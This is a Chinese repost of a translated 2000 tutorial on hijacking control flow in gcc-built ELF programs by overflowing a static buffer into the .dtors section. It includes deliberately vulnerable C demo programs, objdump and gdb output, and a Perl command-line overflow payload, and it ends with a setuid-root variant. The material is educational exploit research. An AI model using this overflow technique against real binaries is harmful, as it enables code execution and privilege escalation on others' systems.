__attribute__ ((constructor)) 分享
http://steven-nie.blog.sohu.com/66346194.html
转载 __attribute__ ((constructor));
通过覆盖.dtors进行缓冲区溢出攻击作者：Juan M. Bello Rivas
整理：warning3 < [email protected] >
主页：http://www.nsfocus.com
日期：2000-12-14
介绍：
-----
本文简要介绍了一种获取C程序(此程序应当是用gcc编译的)执行流程控制
的技术。本文假设读者熟悉普通的缓冲区溢出技术以及ELF文件格式。
鸣谢：
------
感谢ga和dvorak的有趣讨论。
综述：
--------
gcc为函数提供了几种类型的属性，其中两个是我们特别感兴趣的：构造
函数(constructors)和析构函数(destructors)。程序员应当使用类似下面的方
式来指定这些属性：
static void start(void) __attribute__ ((constructor));
static void stop(void) __attribute__ ((destructor));
带有"构造函数"属性的函数将在main()函数之前被执行，而声明为"析构函数"属
性的函数则将在_after_ main()退出时执行。
在生成的ELF可执行印像将会包含两个不同的节：.ctors和.dtors。它们都
有类似下面的布局：
0xffffffff <函数地址> <另一个函数地址> ... 0x00000000
注意：如果你真得想要了解有关这部分的所有知识，我建议你去看
gcc-2.95.2/gcc/collect2.c
我们应当知道的几件事情包括：
* .ctors和.dtors将会被映射到进程地址空间中，缺省是可写的。
* 在对二进制文件正常的strip(1)命令后，这些节不会被去掉。
* 我们并不关心是否程序员已经设置了任何的构造函数和析构函数，因为这
两节总会出现而且会被映射到内存空间中。
技术细节：
----------
现在是演示一下我们先前所说的时候了：
[warning3@redhat-6 dtor]$ cat > yopta.c <<EOF
#include <stdio.h>
#include <stdlib.h>
static void start(void) __attribute__ ((constructor));
static void stop(void) __attribute__ ((destructor));
int
main(int argc, char *argv[])
{
printf("start == %p\n", start);
printf("stop == %p\n", stop);
exit(EXIT_SUCCESS);
}
void
start(void)
{
printf("hello world!\n");
}
void
stop(void)
{
printf("goodbye world!\n");
}
EOF
[warning3@redhat-6 dtor]$ gcc -o yopta yopta.c
[warning3@redhat-6 dtor]$ ./yopta
hello world!
start == 0x8048434
stop == 0x8048448
goodbye world!
[warning3@redhat-6 dtor]$ objdump -h yopta
yopta: file format elf32-i386
Sections:
Idx Name Size VMA LMA File off Algn
<...>
16 .ctors 0000000c 080494f8 080494f8 000004f8 2**2
CONTENTS, ALLOC, LOAD, DATA
17 .dtors 0000000c 08049504 08049504 00000504 2**2
CONTENTS, ALLOC, LOAD, DATA
<....>
[warning3@redhat-6 dtor]$ objdump -s -j .dtors yopta
yopta: file format elf32-i386
Contents of section .dtors:
8049504 ffffffff 48840408 00000000 ....H.......
我们可以看到就象前面所说的那样，stop()的地址(0x08048448)被储存在.dtors
中。0xffffffff是.dtors的头标记，0x00000000是.dtors的尾标记。
既然我们的目的是对程序本身进行攻击，因此从现在开始就让我们完全忘掉
.ctors,因为我们不能用它做任何有用的事。(溢出总是发生在main()开始后)
让我们试一个正常的程序，它没有使用这些函数属性标记。
[warning3@redhat-6 dtor]$ cat > bleh.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
static void bleh(void);
int
main(int argc, char *argv[])
{
static u_char buf[] = "bleh";
if (argc < 2)
exit(EXIT_FAILURE);
strcpy(buf, argv[1]);
exit(EXIT_SUCCESS);
}
void
bleh(void)
{
printf("goffio!\n");
}
EOF
[warning3@redhat-6 dtor]$ gcc -o bleh bleh.c
[warning3@redhat-6 dtor]$ ./bleh
[warning3@redhat-6 dtor]$ objdump -h bleh
bleh: file format elf32-i386
Sections:
Idx Name Size VMA LMA File off Algn
<....>
14 .data 00000014 080494dc 080494dc 000004dc 2**2
CONTENTS, ALLOC, LOAD, DATA
15 .eh_frame 00000004 080494f0 080494f0 000004f0 2**2
CONTENTS, ALLOC, LOAD, DATA
16 .ctors 00000008 080494f4 080494f4 000004f4 2**2
CONTENTS, ALLOC, LOAD, DATA
17 .dtors 00000008 080494fc 080494fc 000004fc 2**2
CONTENTS, ALLOC, LOAD, DATA
<....>
我们看到即使没有任何函数被标记为析构属性，.dtors仍然会出现。现在我们
来看一下它的内容：
[warning3@redhat-6 dtor]$ objdump -s -j .dtors bleh
bleh: file format elf32-i386
Contents of section .dtors:
80494fc ffffffff 00000000 ........
我们看到程序的.dtors中没有指定任何析构函数的地址。
可能我们将buf声明为静态的而且将其初始化看起来有些奇怪。我们这么做
只是为了将其储存在.data区，它非常靠近.dtors节。[ 译者注：参看前面
objdump -h bleh的结果，.data在.dtors更低的内存区 ]
这不是我们将数据写入.dtors的唯一方法，你可以使用任何方法来完成，例如
格式串攻击，通过返回libc来直接使用strcpy(),利用malloc块分配错误等等。
这里采用这种做法只是为了简化起见。
现在我们的目的是要执行bleh()函数中的代码，正常情况下这是不可能发生的。
但我们可以通过在.dtors中增加一个指向bleh()的函数入口来达到目的。我们必
须覆盖0x0000000(地址在0x080494fc)。
[warning3@redhat-6 dtor]$ objdump --syms bleh | egrep 'text.*bleh'
08048468 l F .text 00000012 bleh
我们看bleh()函数的地址是0x08048468.现在到了真正进行攻击的时候了：
[warning3@redhat-6 dtor]$ ./bleh `perl -e 'print "A" x 24; print "\x68\x84\x04\x08";'`
goffio!
Segmentation fault (core dumped)
[译者注：我们看一下如何确定"A"的个数：
[warning3@redhat-6 dtor]$ objdump -s -j .dtors -j .data bleh
bleh: file format elf32-i386
Contents of section .data:
80494dc 00000000 00950408 00000000 626c6568 ............bleh
80494ec 00000000 ....
"bleh"的起始地址为 0x80494dc + 0x0c = 0x80494e8
[warning3@redhat-6 dtor]$ objdump -s -j .dtors bleh
bleh: file format elf32-i386
Contents of section .dtors:
80494fc ffffffff 00000000 ........
我们要覆盖的地址为0x80494fc + 0x04 = 0x8049500
因此我们用来填充的'A'的个数就等于：
0x8049500 - 0x80494e8 = 0x18 = 24
]
我们看到bleh()函数象我们预料的那样被执行了。不过最好还是让我们看一下
得到的进程映像(core)，看看到底发生了些什么变化。
[warning3@redhat-6 dtor]$ gdb -q bleh core
Core was generated by `./bleh AAAAAAAAAAAAAAAAAAAAAAAAh'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
#0 0x8049508 in _GLOBAL_OFFSET_TABLE_ ()
(gdb) bt
#0 0x8049508 in _GLOBAL_OFFSET_TABLE_ ()
#1 0x80484 in ?? ()
#2 0x8049500 in __DTOR_END__ ()
#3 0x80484d0 in _IO_stdin_used ()
Cannot access memory at address 0x68e58955.
(gdb) maintenance info sections
Exec file:
`/home/warning3/dtor/bleh', file type elf32-i386.
<....>
0x080494dc->0x080494f0 at 0x000004dc: .data ALLOC LOAD DATA HAS_CONTENTS
0x080494f0->0x080494f4 at 0x000004f0: .eh_frame ALLOC LOAD DATA HAS_CONTENTS
0x080494f4->0x080494fc at 0x000004f4: .ctors ALLOC LOAD DATA HAS_CONTENTS
0x080494fc->0x08049504 at 0x000004fc: .dtors ALLOC LOAD DATA HAS_CONTENTS
0x08049504->0x0804952c at 0x00000504: .got ALLOC LOAD DATA HAS_CONTENTS
<....>
现在让我们检查一下什么被覆盖了：
(gdb) x/x 0x080494f0
0x80494f0 <force_to_data>: 0x41414141
这部分是.eh_frame(这一节被gcc用来为支持它们的语言存储异常处理函数指针)
的内容
(gdb) x/x 0x080494f4
0x80494f4 <__CTOR_LIST__>: 0x41414141
(gdb) x/8x 0x080494fc
0x80494fc <__DTOR_LIST__>: 0x41414141 0x08048468 0x08049500 0x40013ed0
0x804950c <_GLOBAL_OFFSET_TABLE_+8>: 0x4000a960 0x400fa530 0x08048336
0x400328cc
我们看到，我们甚至根本不用担心0xffffffff这个头标记被覆盖，只须将bleh()
的地址放在正确的位置就可以使我们的代码被执行了。我们也发现最后进程发生
了段错误，这显然是由于进程会不断搜索.dtors的结尾标记(0x00000000)，在找
到之前将依次跳到我们所填充地址（0x8049500）后的每个地址去执行，由于结尾
标记被我们覆盖了，导致程序跳到了GOT表中去执行了，所以才会发生错误。
结论：
----------
这里展示了另外一种执行shellcode代码的方法。这种技术有以下的一些优点：
* 如果二进制目标文件攻击者是可读的，那么找到我们想写入的确切目
标地址是很容易的，只需要分析ELF映像确定.dtors的位置即可。这将大
大提高攻击的可靠性。
* 它比覆盖GOT表的技术更简单。
弱点：
* 要求目标程序必须被GNU工具编译和连接。
* 在某些情况下，知道程序退出也很难找到一个地方来存放shellcode
[译者注：这种方法实际上还有一个问题就是，由于析构函数是在main()函数退
出之后才执行的，因此，如果程序在发生溢出后，又执行了setuid(saveduid)这
样丢弃root权限的操作，攻击者将不能得到root（或者其他用户）权限。
我们将bleh.c稍做修改：
[warning3@redhat-6 dtor]$ cat bleh.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
static void bleh(void);
void vulfun(char *ptr)
{
static u_char buf[] = "bleh";
strcpy(buf, ptr);
}
int
main(int argc, char *argv[])
{
int saved_uid = getuid();
if (argc < 2)
exit(EXIT_FAILURE);
printf("Before overflow: UID = %d, EUID = %d\n", getuid(), geteuid());
vulfun(argv[1]);
/* 我们在调用了问题函数vulfun之后，丢弃了root权限 */
setuid(saved_uid);
printf("After overflow: UID = %d, EUID = %d\n", getuid(), geteuid());
exit(EXIT_SUCCESS);
}
void bleh(void)
{
printf(".dtors has been overwritten! UID = %d, EUID = %d\n", getuid(), geteuid());
}
[warning3@redhat-6 dtor]$ ls -l bleh
-rwsr-xr-x 1 root root 12657 Dec 13 19:05 bleh*
[warning3@redhat-6 dtor]$ ./bleh `perl -e 'print "A" x 24; print "\x74\x85\x04\x08";'`
Before overflow: UID = 507, EUID = 0
After overflow: UID = 507, EUID = 507
.dtors has been overwritten! UID = 507, EUID = 507
Segmentation fault
因此我们看到，由于程序丢弃了root权限，我们最后只能以普通用户身份执行bleh().